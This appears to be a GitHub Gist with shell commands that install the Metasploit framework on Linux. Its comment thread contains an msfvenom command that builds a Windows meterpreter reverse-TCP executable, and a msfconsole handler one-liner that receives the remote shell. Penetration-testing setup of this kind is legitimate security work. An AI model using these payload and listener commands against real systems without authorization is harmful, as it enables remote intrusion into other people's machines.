sudo apt update
sudo apt dist-upgrade
sudo apt autoremove
cd /tmp
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
msfdb init
msfconsole
sudo msfupdate
Last active
March 24, 2026 10:31
-
-
Save Yuma-Tsushima07/ae76646fb0153db52af1bf6b5809e7e7 to your computer and use it in GitHub Desktop.
How to Install Metasploit on Linux?
how can i use msfvenom in metasploit
Author
msfvenom is for payload creation you can use it WITH msf like as a listener:
Say if if I wanted to make a windows meterpreter staged shell the (x64) version, you can use this:
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o rev.exeMake a listener using msf:
$ msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.10.10; set lport 4444; exploit"Finally invoke payload rev.exe then it would give you a shell on msfconsole :D
works like a charm!, thanks a lot
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
🤠🤝❤